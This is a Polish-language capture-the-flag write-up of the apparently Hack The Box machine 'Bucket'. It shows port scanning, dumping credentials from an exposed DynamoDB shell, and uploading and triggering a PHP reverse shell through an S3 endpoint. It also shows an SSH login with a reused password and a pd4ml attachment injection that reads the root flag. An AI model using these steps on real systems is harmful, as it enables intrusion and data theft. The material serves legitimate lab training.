Nmap
nmap -sC -sV -p- -T4 10.129.27.96
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-17 20:01 BST
Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 20:02 (0:00:14 remaining)
Nmap scan report for 10.129.27.96
Host is up, received echo-reply ttl 63 (0.035s latency).
Not shown: 64882 closed ports, 651 filtered ports
Reason: 64882 resets and 651 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open ssl/http syn-ack ttl 63 Apache/2.4.41 (Ubuntu)
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
User
W source-code strony widać odnośniki do s3.bucket.htb dodajemy wpis do /etc/hosts
Następnie sprawdzamy katalogi ponieważ na głównej stronie nic nie widać.
ffuf -fc 403 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://s3.bucket.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://s3.bucket.htb/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________
health [Status: 200, Size: 54, Words: 5, Lines: 1]
shell [Status: 200, Size: 0, Words: 1, Lines: 1]
Po wejściu do katalogu shell widać DynamoDB JavaScript Shell tam możemy robić zapytania do bazy danych. Pierwsze co robimy to wyciągamy użytkowników.
var params = {
ExclusiveStartTableName: 'table_name',
};
dynamodb.listTables(params, function(err, data) {
if (err) ppJson(err);
else ppJson(data);
});
var params = {
TableName: 'users',
};
dynamodb.scan(params, function(err, data) {
if (err) ppJson(err);
else ppJson(data);
});
{
"Items": [
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "Welcome123!"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "n2vM-<_K_Q:.Aa2"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3
}
Następnie trzeba doinstalować awscli i je skonfigurować.
apt install awscli
aws configure
AWS Access Key ID [None]: asd
AWS Secret Access Key [None]: asd
Default region name [None]: asd
Default output format [None]: asd
Po skonfigurowaniu trzeba wrzucić reverse-shell.php na serwer.
aws s3 --endpoint-url http://s3.bucket.htb/ cp ./rev.php s3://adserver/rev.php
Trzeba uruchomić plik odwołując się do niego. (Jest trochę niestabilnie więc w moim przypadku po 20 razie się udało do niego odwołać).
curl http://bucket.htb/rev.php
W rev-shell’u mamy uprawnienia www-data i widzimy, że jest użytkownik roy na którego możemy się zalogować su lub ssh z hasłem znalezionym wcześniej.
ssh roy@bucket.htb
n2vM-<_K_Q:.Aa2
cat user.txt
4ac595296be3***f6672b73ad37
Root
Zdobycie roota nie było takie banalne.
Ostatecznie widzimy przy pomocy pspy, że root robi różne operacje z katalogiem /var/www/bucket-app
W index.php mamy kod, w którym jest napisane co mamy zrobić.
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
}
?>
W skrócie:
1. Trzeba dodać tabelę o nazwie “alerts” i parametrze ‘title’: ‘Ransomware’ przy pomocy http://s3.bucket.htb/shell,
2. W polu data tworzony jest pdf przy pomocy pd4ml
3. Trzeba odwołać się POST’em z parametrem “action=get_alerts”
4. Ściągnąć utworzony plik /var/www/bucket-app/files/result.pdf
1. Tworzenie tabeli
var params = {
TableName: 'alerts',
KeySchema: [
{
AttributeName: 'title',
KeyType: 'HASH',
},
{
AttributeName: 'data',
KeyType: 'RANGE',
}
],
AttributeDefinitions: [
{
AttributeName: 'title',
AttributeType: 'S',
},
{
AttributeName: 'data',
AttributeType: 'S',
},
],
ProvisionedThroughput: {
ReadCapacityUnits: 1,
WriteCapacityUnits: 1,
}
};
dynamodb.createTable(params, function(err, data) {
if (err) ppJson(err);
else ppJson(data);
var params = {
TableName: 'alerts',
Item: {
'data': '<PAYLOAD>',
'title': 'Ransomware'
}
};
docClient.put(params, function(err, data) {
if (err) ppJson(err);
else ppJson(data);
});
});
2. Pole Data
W polu data wpisujemy:
<pd4ml:attachment description="attached.txt" icon="PushPin">file:///root/root.txt</pd4ml:attachment>
powyższy wpis wziąłem z twittera
3. Odwołanie do serwera
curl -X POST http://localhost:8000/index.php -d 'action=get_alerts'
4. Ściągnięcie pliku z flagą
Następnie ściągamy plik result.pdf i odczytujemy flagę
64cddf858c703***10dfd4c96b